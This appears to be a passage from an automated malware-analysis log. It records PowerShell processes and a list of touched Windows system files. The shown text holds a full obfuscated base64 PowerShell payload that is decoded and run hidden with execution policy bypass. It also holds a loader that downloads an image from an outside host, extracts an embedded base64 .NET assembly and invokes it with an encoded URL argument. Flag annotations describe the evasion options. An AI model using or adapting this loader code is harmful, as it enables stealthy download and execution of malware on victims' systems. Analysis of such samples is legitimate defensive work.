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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe